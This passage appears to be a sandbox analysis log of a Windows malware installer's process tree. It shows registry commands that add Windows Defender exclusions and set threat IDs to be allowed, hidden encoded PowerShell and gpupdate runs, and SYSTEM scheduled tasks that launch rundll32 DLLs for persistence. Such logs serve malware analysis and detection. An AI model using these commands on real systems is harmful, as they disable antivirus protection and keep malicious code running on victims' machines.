      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3188
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5048
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5000
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5448
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1588
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2588
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "giraDFOzv" /SC once /ST 00:10:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:5836
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "giraDFOzv"
  2⤵
  PID:1440
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "giraDFOzv"
  2⤵
  PID:3732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 06:31:06 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\xPgPWXY.exe\" aV /looWdidKI 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:5964
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "yfARWRprRqUFWeTGf"
  2⤵
  PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5688
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5152

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5704

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1964

C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\xPgPWXY.exe
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\xPgPWXY.exe aV /looWdidKI 385118 /S
1⤵
PID:5312
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3056
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4516
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6080
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3036
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5856
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:2396
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5852
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4028
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3560
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5976
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4608
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5732
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5140
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2284
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4388
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2724
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:6072
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
  2⤵
  PID:4348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:3580
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:664
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:5724
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1568
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:4284
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\kPkzEf.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:4064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\fycZrxQ.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2360
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:1288
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:4960
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\dDXgYPF.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\tqoAQaI.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:648
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\WtFmlOz.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4584
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\yBkqrSA.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1884
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "aNyMQclguOCSCcjxm" /SC once /ST 19:18:23 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nlcUipsDcFbdntMB\QGksvtrV\dgegUCm.dll\",#1 /pODzdidcWJS 385118" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:2588
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "aNyMQclguOCSCcjxm"
  2⤵
  PID:5540
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
  2⤵
  PID:1912

C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\Install.exe Wt /Gzrdidwysi 385118 /S
1⤵
PID:5420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5708
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5000
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5324
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:6076
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5616
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5516
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1676
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3840
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5540
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3836
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5080
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5496
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5628
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:1484
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5596
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:5348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5928
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2304
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4388
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2284
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5368
- - C:\Windows\SysWOW64\reg.exe
